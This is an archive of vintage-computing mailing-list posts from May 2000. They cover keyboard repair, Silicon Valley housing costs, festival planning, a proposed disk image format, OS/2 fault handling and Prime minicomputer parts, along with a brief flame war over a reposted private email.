18:52:06 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: References: Message-ID: In article , R. D. Davis writes >Of course, for the software, there's such a thing as backups. ;-) I know, but most of it is still in original boxes with all docs, so it would be nice to save it from the skip. -- Regards Pete From ard at p850ug1.demon.co.uk Mon May 29 17:24:03 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:06 2005 Subject: Atari 800 keyboards In-Reply-To: from "Charles P. Hobbs" at May 29, 0 04:23:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4787 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000529/624b3e45/attachment.ksh From lemay at cs.umn.edu Mon May 29 19:04:20 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:06 2005 Subject: Atari 800 keyboards In-Reply-To: from Tony Duell at "May 29, 2000 11:24:03 pm" Message-ID: <200005300004.TAA17364@caesar.cs.umn.edu> > > 5) Capacitive matrix (Keytronics, e.g. PERQ 2, Apricot, Sirius, etc). > These are not really switches. The keyboard works by the increase in > capacitance when a plastic disk coated with metal on the back bridges 2 > electrodes on the PCB. These are actually very reliable, but you can take > off the PCB and clean it with propan-2-ol. The only common failure is > loss of the metalisation from the disks, for which the only cure is > replacement. The good news is that all such keyboards that I've seen use > the _same_ disks, so spares are not hard to come by. > A common failure for capacitive keyboards is age/ozone/whatnot which causes the foam between the plastic disks to break down. I havent seen the problem where the metal wears off the disk. Either way, you can still buy brand new capacitive pads from Keytronic Corporation, about 10 cents per pad, or 9 cents if you buy at least 1000, plus 6.50 shipping of course. Just what the doctor ordered if you have Terak's. It really helps out when playing videogames like Asteroids on my Terak as well ;) For a while there, I thought I was losing my skills. -Lawrence LeMay From ethan_dicks at yahoo.com Mon May 29 20:47:55 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:06 2005 Subject: Geeks and quality of life (was Re: A moment of silence...) Message-ID: <20000530014755.26972.qmail@web616.mail.yahoo.com> --- sjm wrote: > I love the Bay Area. I was born in San Francisco, I really > consider this place home despite my family roots in New England > (which is just too hot in the summer, and too cold in the winter)... > > Or, I can afford a four bedroom home in the nicest suburb of > Columbus, Ohio. (Yes, I realise Columbus Ohio fails my weather test. > Otherwise, I'd be there :) What ever made you pick Columbus as your touchstone? If you prefer Bay Area weather, I guarantee that it fails your weather test, but, yes, the housing prices are quite moderate (with salaries to match ;-) On the plus side, a nice house in one of the very desirable sections of town goes from $225K to $350K, new houses in a modest neighborhood are more like $160K to $180K, and in my neighborhood (near Ohio State University, so city schools for those folks that care), it's closer to $110K to $150K for a 50-70 year-old two-to-three bedroom house. On my mother's street (three blocks from OSU), the houses are 4-bedroom brick, pre-WWI, and run around $125K. It's a huge range, depending on where you want to live, how long you want it to take to get to work (since the geek jobs are concentrated on the NW side of the city, in and near Dublin (think "Memorial Tournament")). I drive 12.5 miles to get to work only because I take surface streets and avoid the freeway which is under massive construction all around the part of town that has a high concentration of tech jobs. Now... the other side of the coin: the coin. My experience around here is that a 10+ year UNIX administrator can get between $50K - $100K, depending on salary vs. contract, size of employer, quality of negotiating skills, etc. NT and Novell admins get about 75%-80% of that. Programmers can get anywhere from $40K - $100K, depending on the esoteric nature of the work, project based vs product based, language, etc. I do not know any geeks personally in this market who I know to be making a bunch over $100K, but I do know a lot of people earning between $50K and $75K. I used to say that I would never personally take a Bay Area job for less than $125K/year. I would be lowering my standard of living. Given the nature of the housing market there, I might have to revise my number. I don't think I want to try to buy a $600K+ house. This is not meant as an advertisement for Columbus. It's some numbers to put the California experience into some perspective. I wouldn't mind visiting, but I wouldn't want to live there. I'm sure Hans and other Europeans here will have some interesting comments on the difference bewteen housing and energy costs between the two continents. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ From rdd at smart.net Mon May 29 21:40:30 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:06 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: Message-ID: On Mon, 29 May 2000, Peter Joules wrote: > I know, but most of it is still in original boxes with all docs, so it > would be nice to save it from the skip. Good luck with this! All that going into the skip would be a terrible waste. Is there any way you can retrieve it from the skip if it ends up in there? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From foo at siconic.com Mon May 29 21:51:33 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:06 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repa... In-Reply-To: <3930B0E9.9CF8243F@rain.org> Message-ID: On Sat, 27 May 2000, Marvin wrote: > > > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > > >How about dropping this particular thread or taking it to email. Starting > > > >this kind of a flame war here doesn't do anyone any good. > > > > Are you sure about that? If a flame war is over the proper way to > > repair computers, and people learn from it, is that such a bad thing? > > Are people so politically correct and thin-skinned these days that > > their fragile psyches can't tolerate a little flame-fest? > > What makes you think a flame war is an effective way to learn? A game > perhaps, but learning??? I suppose it's one way of trying to justify a personality flaw? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Mon May 29 21:57:35 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... In-Reply-To: <3932DEA9.8720.146821E@localhost> Message-ID: On Mon, 29 May 2000, Hans Franke wrote: > > Now, in a communist state, this landlord would indeed be a greedy jackass, > > or worse! But here in the good old U.S. of A., he's a capitalist. Why > > should he be expected to operate as a charity? > > Hmm - I'd rather prefer a constitutional state where everybody > recives some protection by law .... Damn socialists! ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Mon May 29 22:02:42 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... In-Reply-To: Message-ID: On Mon, 29 May 2000, Mike Cheponis wrote: > It would appear as if more people want to live in Silicon Valley than Munich. > > It's called "supply and demand". > > The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, > 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or > 622.134,66 Euros. ) > > Commercial real estate has undergone similar escalation, with landlords now > commonly asking for substantial percentages of stock in pre-IPO companies > in addition to high rents. I know personally of a deal that fell through > because the company that lost was unwilling to give approximately 1% of the > outstanding stock to the landlord (in addition to the high rent); the > "winning" company gave more stock+cash. > > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > sense... But... I think ultimately this is going to affect the favor that the SV has amongst geek companies. The startups will finally get some sense into their now pre-IPO-blinded heads and take their companies elsewhere. Workers will start to realize spending 3-5 hours (or more!) a day in traffic just doesn't make sense anymore at ANY salary and will move somewhere else to find work. It's an equilibrium. I think we have seen the peak of the Silicon Valley money machine and it's all downhill from here. It's just not fun any longer. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From geoffrob at stmarks.pp.catholic.edu.au Mon May 29 23:58:17 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... References: Message-ID: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Vintage Computer GAWD!" To: Sent: Tuesday, May 30, 2000 12:32 PM Subject: Re: A moment of silence... > Workers will start to realize spending 3-5 hours (or more!) a day in > traffic just doesn't make sense anymore at ANY salary and will move > somewhere else to find work. 3-5 hours? Wow. I thought I had it bad in Sydney when a long commute was around 45 minutes. I now live in a country town/city where 10 minutes is the maximum commute time. 2&1/2 hours to the capital city when necessary. Average home prices around AU$70,000 for a 3-4 bedroom, depending on which part of town. Lots of cheaper places in the AU$40-50k range. Downside is that only people making $50k a year are 12 hour a day shiftworkers at the lead smelter. I get AU$24k for administering a Vax/VMS box(Mail/web/proxy/ftp etc),a Novell Server and 200+ PC's in a school. Permanent part time 25 hours a week. Run a small business (internet cafe/retail new & s/h systems/repairs etc) in the spare time. Not easy to survive on that, even here. BTW,the exchange rate to the AU$ is around US58c at the moment, and petrol just went through the 94c a litre mark again, so it ain't necessarily as good as it sounds. I don't believe we have a single area like Silicon Valley here, much more spread around, there was an attempt to build a 'high tech city of tomorrow' (polispeak) near Adelaide a couple years ago, but it never got off the ground. > It's an equilibrium. I think we have seen the peak of the Silicon Valley > money machine and it's all downhill from here. It's just not fun any > longer. Doesn't sound like it. Time is more precious than money. Ask anyone over 40. Cheers Geoff Roberts Computer Systems Manager Saint Mark's College Port Pirie, South Australia geoffrob@stmarks.pp.catholic.edu.au netcafe@pirie.mtx.net.au ICQ: 1970476 From wmsmith at earthlink.net Tue May 30 00:25:08 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:52:06 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Noteson repa... References: Message-ID: <007401bfc9f7$6e0cc920$0d9bb2d1@Smith.earthlink.net> ----- Original Message ----- From: Vintage Computer GAWD! To: Sent: Monday, May 29, 2000 7:51 PM Subject: Re: Get up on the wrong side of the bed this morning? [Was: Re:Noteson repa... > On Sat, 27 May 2000, Marvin wrote: > > > > > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > > > >How about dropping this particular thread or taking it to email. Starting > > > > >this kind of a flame war here doesn't do anyone any good. > > > > > > Are you sure about that? If a flame war is over the proper way to > > > repair computers, and people learn from it, is that such a bad thing? > > > Are people so politically correct and thin-skinned these days that > > > their fragile psyches can't tolerate a little flame-fest? > > > > What makes you think a flame war is an effective way to learn? A game > > perhaps, but learning??? > > I suppose it's one way of trying to justify a personality flaw? > I would have said "manifest" a personality flaw. From wmsmith at earthlink.net Tue May 30 00:35:29 2000 From: wmsmith at earthlink.net (Wayne M. Smith) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... References: Message-ID: <007a01bfc9f8$dfaa1000$0d9bb2d1@Smith.earthlink.net> > Sellam International Man of Intrigue and Danger > ----------------------------------------------------- -------------------------- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! I looked, but no details. Do you have a tentative date? For us out-of-towners it would help for planning purposes. From chris at mainecoon.com Tue May 30 00:33:44 2000 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... References: Message-ID: <393352B8.7C0DB426@mainecoon.com> "Vintage Computer GAWD!" wrote: > Workers will start to realize spending 3-5 hours (or more!) a day in > traffic just doesn't make sense anymore at ANY salary and will move > somewhere else to find work. You betcha -- I certainly did. I worked in the valley for eighteen years but never lived in the south bay -- I've never liked that much concrete. Before bailing out I was driving on a more-or-less daily basis from Petaluma to San Jose. When that project ended we pulled chocks and moved to the Sierras. Same income level, but the air is clean (hell, we don't even have biennial smog checks) and an eighteen-month-old, 2400 sq ft home on a little more than an acre of dirt cost less than $200K. My staff is now geographically disperse; I let them live and work anywhere they please as long as they can get connectivity -- if I'm going to live in the middle of a national forest the least I can do is extend the same flexibility to my staff. I will admit, however, that I still can't figure out why one guy opted for ND... Personally, I'll boil my head before I work in the valley again. It will hurt less. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From jrice at texoma.net Tue May 30 01:02:28 2000 From: jrice at texoma.net (James L. Rice) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... References: <393352B8.7C0DB426@mainecoon.com> Message-ID: <39335974.E8FD39FD@texoma.net> We have smog checks in Dallas, but I live in a small town (12k pop. I commute 25 minutes to downtown and just built a 3500 ft2 house on a lake shore last year for $225k. Salaries are a bit lower here. I made $82k as the CTO for a small vertical market VAR last year. I might be able to pull more money in the SV but I went out and looked around a few years ago when I was between marriages and decided it was too crowded even then. James Chris Kennedy wrote: > > "Vintage Computer GAWD!" wrote: > > > Workers will start to realize spending 3-5 hours (or more!) a day in > > traffic just doesn't make sense anymore at ANY salary and will move > > somewhere else to find work. > > Same income level, but > the air is clean (hell, we don't even have biennial smog checks) and > an eighteen-month-old, 2400 sq ft home on a little more than an acre > of dirt cost less than $200K. > > My staff is now geographically disperse; I let them live and work > anywhere they please as long as they can get connectivity -- if > I'm going to live in the middle of a national forest the least I can do > is extend the same flexibility to my staff. From vcf at siconic.com Tue May 30 00:09:09 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:52:06 2005 Subject: Someone needs Dynalogic Hyperion info Message-ID: Can anyone help this guy out? ---------- Forwarded message ---------- Date: Fri, 26 May 2000 22:04:26 -0700 From: Leo Butzel Subject: Updated e-mail address needed for Archives Hope I not repeating myself ! Looking for info on the Dynalogic Hyperion, a "portable" DOS machine manufactures around 1983. At least the one I have is 1983. it was designed and initially built in Ottawa, Canada. Hyperion was acquired in about 1983 by Bytec, who was later bought by I think a Quebec company called Comterm. Anyway, mine has stopped working: Hence I am looking for service info and/or persons who have worked on the machine. Thanks very much for any leads you might provide. Leo Butzel Seattle, WA lbutzel@home.com Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 00:16:37 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... In-Reply-To: <001401bfc9f3$abbeb020$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: On Tue, 30 May 2000, Geoff Roberts wrote: > > Workers will start to realize spending 3-5 hours (or more!) a day in > > traffic just doesn't make sense anymore at ANY salary and will move > > somewhere else to find work. > > 3-5 hours? Wow. I thought I had it bad in Sydney when a long commute > was around 45 minutes. I should elucidate by saying this is roundtrip. Mine only (only :) takes about 1.5 hours (45 minutes each way) but that should change very soon as I will go back to working from home again. I'm taking my figures from best guesses, but a 5 hour roundtrip commute is not out of line. I know some folks are coming in from cities that are 60+ miles from San Jose, and with the traffic along the way the commute can take 2-3 hours one way. Silicon Valley is no longer the geek paradise I dreamed of when I was growing up. From where I stand, it's become a nightmarish hell of traffic and way too many people. The boom was cool when it was revving up but now it's just out of control. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 00:33:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... In-Reply-To: <007a01bfc9f8$dfaa1000$0d9bb2d1@Smith.earthlink.net> Message-ID: On Mon, 29 May 2000, Wayne M. Smith wrote: > I looked, but no details. > > Do you have a tentative date? For us out-of-towners it > would help for planning purposes. I must apologize for the lack of any activity on the VCF website. I've been working on updated pages for the past week and they are almost done. But instead of making you wait until the new pages are up, here's the scoop as it stands today: VCF 4.0 is tentatively planned for late September/early October. My only options at the Santa Clara Convention Center (where it's been held for the past two years) are on October 7-8. All other weekends in those months are booked. There's a good chance I will not get the 7-8. I am probably going to have to find some place to hold the event this year. Stay tuned on that. I am thinking (just thinking, nothing even remotely decided yet) to have an east coast event sometime in the late summer if I can get the ball rolling in time. I'm talking to some fellow list members about it (sorry I've been slow to respond!) An east coast event will only happen if I get my current situation under control, which is to move my collection to a new location, all 1,200sqft of it (I'm losing the lease on the space I am at now). That is of greatest concern to me right now, because with SV real estate being as high as it is, finding a new home for everything will be difficult. Being that I haven't even begun planning in earnest for VCF 4.0, an east coast event would be a major feat, but I'm still considering it. As far as the exhibition, I would now like to formally invite people to begin thinking about what they would like to exhibit at this year's VCF. Unofficially, I am wanting to include a special theme in this year's exhibit, which will be homebrew computing or calculating devices. I was inspired by the models of the mechanical calculator mechanisms I saw at the Heinz Nixdorf Museum in Germany and thought it would be great if people could research and create their own adder or counter mechanisms. The exhibit will still feature your favorite computers, and of course awards and prizes will be given out. The prizes haven't been decided yet but they will of course be very cool (last year we gave away Cardiacs, Nixdorf handhelds, bubble memories, t-shirts and money :) There will again be a tour to The Computer Museum History Center, the Nerd Trivia Challenge, and probably some new features. The new web pages will be up within a matter of days. I'll make an announcement to the list when they do go up. The pages will start to fulfill some of the promises I made a while back, which is to become more of a resource for computing history and collectors. As I get more time and high bandwidth, we'll start to provide archives of different sorts, helpful articles for the vintage computer hobbyist, and possibly even host other vintage computing sites. (If you'd like to become a contributor of articles and such, get in touch with me.) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 01:19:12 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:06 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <000527175219.20200a02@trailing-edge.com> Message-ID: On Sat, 27 May 2000 CLASSICCMP@trailing-edge.com wrote: > It's very, very common for double-density CP/M disks to have the boot > sector - and in some cases the first few tracks - in single density. Broderbund came out with an 18-sector format for the Apple ][, but in order for the disk to be readble the first track is encoded as standard 16-sector format. This 18-sector format provided two benefits: 1) increased storage space and 2) a form of copy protection. > For these odd formats, I just record the waveform from the head > for each track for a couple of revolutions, just to make real > sure that I'm not missing anything :-). What do you record it to? I don't think this is a very good solution for mass archiving and distribution. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 01:26:01 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:06 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Sun, 28 May 2000, Mark wrote: > I would like to be proved wrong, but there is no way to account for every > possible strange thing that could be done in terms of custom formats, > copy-protection etc., at least in a high level file format that doesn't just > sample the bits coming from the disk. Well, if this is to be a universal standard (which is what I'd like to at least get close to accomplishing) then we must. > It would be possible to construct a device for archiving disks at a very low > level. I guess this would be similar to commercial floppy disk duplicators, > except writing data to a file instead of another floppy. The bit stream from > the disk would be sampled at a very high rate to allow for various tricks > that could be done. Or by modifying a floppy drive, the analogue signal from It would be tough to know where valid data actually resides on the disk. > Such a low-level dump of raw data would at least preserve all (or almost all) > information on the disk. Successfully writing an exact duplicate back to > another floppy would depend on the capabilities of your disk controller. > Still, such as image file could be easily supported by emulators. Also bad > sectors would be preserved, meaning that recovery of most of the data from > them would be possible. Such a utility would have to be written for each particular machine since universal hardware that could accomodate all the different formats does not seem feasible. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 01:50:03 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:06 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: Let's start sort of from scratch here. So far we have the following (high level) criterion for a disk archive standard: 1. Host computer type (2 bytes allowing up to 65536 models to be specified) 2. Track format (host computer specific) 3. Sector format (single-density, double-density, etc) 4. Sector data format - this will specify what format the archived sector is in (raw data? logical bytes?) 5. Bytes per sector 6. Bits per byte What else? I will be the first to say that this is may not be very logically structured. What I am attempting to do is give a suggestion for a high level header that identifies what each chunk of data in the archive can represent. In this way, disks that are formatted with several different formats can be described. I think what this may evolve into is a Data Definition Language. The DDL will be encoded along with the disk data and will describe the format of the data on the disk as it is being read. This comes back to the fact that utilities will have to be written for each computer we decide to support (I assume it will be all of them) to both read and write native diskettes. I also assume the data will be passed between the archive host and the target machine via serial link? In case my mostly random thoughts above don't make sense, here is what I would have in mind for the Apple ][: The disk can be read in either standard, logical format (13 or 16 sectors per track, 256 bytes per sector) or "raw" format (raw disk bytes are read from the track). There would also have to be format descriptions for specially formatted tracks such as the 18-sector type I mentioned. As for reading the raw bytes, the Apple ][ had what were called "synchronization" bytes, which were 10 bits long, the two extra bits being used to synchronize the head with the start of the track. I could go into a technical discussion of this but would have to pull out some reference material to refresh my memory of how it all worked. Anyway, these bytes would have to be specially encoded in the archive. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From peter at joules.org Tue May 30 04:22:05 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 18:52:06 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: References: Message-ID: In article , R. D. Davis writes >Is there any way you can retrieve it from the skip if it ends >up in there? Once it is in the skip, anyone taking it away, other than the waste disposal people, is stealing it. This has already been made clear to me. -- Regards Pete From John.Honniball at uwe.ac.uk Tue May 30 05:12:35 2000 From: John.Honniball at uwe.ac.uk (John Honniball) Date: Sun Feb 27 18:52:06 2005 Subject: Documenting how old computers were used In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD56@tegntserver.tegjeff.com> Message-ID: On Fri, 26 May 2000 13:57:31 -0400 Douglas Quebbeman wrote: > I'm glad you posted this. I'm effecting a rescue of a Prime 2455 > system, which I should receive in a week. ... > Any other Pr1me fans hanging out here??? Yes! I used a Prime P750 back at Westfield College, London, 1981-1985. We used it to run the Georgia Tech Software Tools Subsystem, and to do remote job entry for undergraduate programming assignments in Algol-68. -- John Honniball Email: John.Honniball@uwe.ac.uk University of the West of England From flo at rdel.co.uk Tue May 30 06:13:01 2000 From: flo at rdel.co.uk (Paul Williams) Date: Sun Feb 27 18:52:06 2005 Subject: Documenting how old computers were used References: Message-ID: <3933A23D.1B90843F@rdel.co.uk> John Honniball wrote: > > On Fri, 26 May 2000 13:57:31 -0400 Douglas Quebbeman > wrote: > > I'm glad you posted this. I'm effecting a rescue of a Prime 2455 > > system, which I should receive in a week. > ... > > Any other Pr1me fans hanging out here??? > > Yes! I used a Prime P750 back at Westfield College, > London, 1981-1985. We used it to run the Georgia Tech > Software Tools Subsystem, and to do remote job entry for > undergraduate programming assignments in Algol-68. I did a year's sandwich at UKAEA Culham Labs, Oxon. from 1987-88 and used a bunch of Primes there. I thought they were fascinating machines. They had recently upgraded to Primos Rev.19. I was told at the time that even numbers and odd numbered revisions were for different purposes -- anyone know what the difference was? I know that a big part of the change to Rev.19 was dynamic linking of libraries, so I was involved with recompiling loads of utilities to go from using SEG (static linker) to BIND (dynamic). I liked CPL, Prime's shell language, but most users of the computing services used UKAEA's own shell, GPL(?), which had been implemented on Primes, VAXen and an IBM 3084 at Harwell. This gave a common ground to physicists who had to use many different machines. One common scenario was develop a program on the Primes, transfer it through the IBM to the Cray 2 at Harwell, run it, and transfer the results back to the Prime for printing out. At the time I was there, many physicists were moving away from this complicated system and getting more power on their desktops. There were a lot of Whitechapel MG-1 workstations around the place, and Suns were starting to appear. Whitechapel came along to demo their latest and greatest colour workstations, running a windowing system which I think was called Oriel. From dhquebbeman at theestopinalgroup.com Tue May 30 07:54:34 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:06 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD5F@TEGNTSERVER> > Close, but not quite correct. > > GPF is a general protection fault, the most common problem is > a bad or uninitialized pointer. > > What makes a DLL get loaded, or paged in, is a page fault. > Its the same mechanism that causes a swapped out page to be swapped back > in on a 4K boundary. What I'm saying is that the way is *should* work is: pointer fault on attempt to execute faulted pointer to DLL routine segment fault on attempt to execute code in unmapped DLL routine's segment page fault on attempt to execute code in unmapped DLL routine's page And in a really proper OS you'd also get a page fault if the page map containing the PageMapTableEntries weren't currently mapped in (and yes you can page out page maps). And before you point out that segments went away from Win32 let me say that too is another fatal flaw with the Windows family of OS's. -dq From dhquebbeman at theestopinalgroup.com Tue May 30 08:01:03 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:06 2005 Subject: Prime Parts: was "Documenting how old computers..." Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD60@TEGNTSERVER> Ok, I'm looking for a SCSI controller (7110 or 7210 are the only two models I know of), and a LHC300 ethernet controller. Got one? Also, looking for an 8mm streaming tape drive. Do you have a manual for PL1/G? -doug q -----Original Message----- From: Steve Robertson [mailto:steverob@hotoffice.com] Sent: Friday, May 26, 2000 4:46 PM To: classiccmp@classiccmp.org Subject: Prime Parts: was "Documenting how old computers..." I've got a small Pr1me buried somewhere in my garage. I'm not prositive but, I *think* it's a 2550. It's a complete system but, it has a bad CPU. That being the case, I'll make any of the parts available for anyone that's looking to resurrect one. Let me know exactly what parts you need and I'll see if I have them. I'm really not too familiar with that hardware so, you'll have be *real* specific about the parts you need. I also have a bunch of Pr1me DOCs (many still in the shrink wrap) if someone needs them. I'd like to get a token fee for the parts and of course you'd have to pay shipping from South Florida. Later, Steve Robertson > -----Original Message----- > From: Douglas Quebbeman [ mailto:dhquebbeman@theestopinalgroup.com ] > Sent: Friday, May 26, 2000 3:23 PM > To: 'classiccmp@classiccmp.org' > Subject: RE: Documenting how old computers were used > > > I'm working on some sources for spares; but I'm not even sure > what I'll find in the machine. The owner had a stroke around > Christmas, and some things are returning more slowly than others. > > But I'll definitely be needed either a 7110 or 7210 SCSI controller > and an LHC300 ethernet controller. > > So, what's a Xyplex? > > -doug q > From dhquebbeman at theestopinalgroup.com Tue May 30 08:04:12 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:07 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD61@TEGNTSERVER> > Eh? You're both wrong. OS/2 used the protected-mode multi-segment > support of the x86, but recall that OS/2 was originally released on the > 286 -- it didn't have any paging support. It's easy to distinguish a > fault during a CS load from a GPF, and no page fault is involved. There is another factor complicating this history lesson. The most extant machine that was OS/2 capable at the time of its launch was the IBM PC/AT. Most of the PC/AT models shipped with mask C of the 80286 processor. There was a flaw in the C mask chip that caused the CX register to be trashed on a GPF. That meant for OS/2 to take advantage of this hardware feature would have required a processor upgrade (they were socketed, PGA) for all these machines. Still, how hard would it have been to include a chip in the package? -dq From dhquebbeman at theestopinalgroup.com Tue May 30 08:33:00 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> > In article > , > R. D. Davis writes > >Is there any way you can retrieve it from the skip if it ends > >up in there? > > Once it is in the skip, anyone taking it away, other than the waste > disposal people, is stealing it. This has already been made clear to > me. Not sure what country you live in, but if you're in the US, then regardless of whatever munincipal laws have been enacted, the U.S. Supreme Court has ruled (on multiple occaisions) that refuse is exactly that- stuff that people no longer want. The most recent case that verified this was when suit was brought against a police department who extracted evidence from someone's trash. The police won that suit, and thus your trash does not receive the constitutional protection that other property gets. respectfully submitted, -doug q From kyrrin at bluefeathertech.com Tue May 30 09:25:54 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:52:07 2005 Subject: Sellam Explodes Message-ID: <39336D02.22140.389CC2C@localhost> Criminys... ask a guy to just let the subject drop, and this is what happens. I've blocked any further E-mail from Sellam at this end. It's obvious that I can't even disagree with him now without ticking him off. I'm posting his final message as something of a warning to others who think he can handle things like this in a mature way. -=-=- -=-=- Date sent: Mon, 29 May 2000 19:48:02 -0700 (PDT) From: "Vintage Computer GAWD!" To: "Bruce Lane" Subject: Re: Please let it DROP! On Sat, 27 May 2000, Bruce Lane wrote: > If you value, as I do, the fact that we got along pretty well > during our few past meetings, please let the subject drop. Here and > now. > > It is obvious that we agree to disagree, and I would prefer to > leave it at that point than start a flame-war that's going to leave us > both too pissed off to see straight. Bruce, I value our "friendship" as much as you do, which is to say not enough for you to avoid constantly insulting me like you have the monopoly on valid opinions and to act in a uncivil manner. Basically, take your apoplectic rantings and stick them up your ass. I tried to be patient and not get angry from your last message, but I've never been one to accept a continued stream of abuse, especially from a dweeb like yourself. I don't want, nor do I need, a reply from you. Any more messages I receive from you on this matter I will consider to be SPAM and, since you live in a state which has laws against that sort of thing, I will not hesitate to file a complaint against you. Best regards, Sellam -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From jimw at agora.rdrop.com Tue May 30 09:54:15 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Mon, 29 May 2000, Sellam Ismail wrote: > Let's start sort of from scratch here. > > So far we have the following (high level) criterion for a disk archive > standard: > > 1. Host computer type (2 bytes allowing up to 65536 models to be > specified) > 2. Track format (host computer specific) > 3. Sector format (single-density, double-density, etc) > 4. Sector data format - this will specify what format the archived sector > is in (raw data? logical bytes?) > 5. Bytes per sector > 6. Bits per byte > > What else? Hmmm... Hard sector vs. SOft sector (for ctrlr emulations) Interleaving - yes/no/offset value Sectors per track # of Tracks 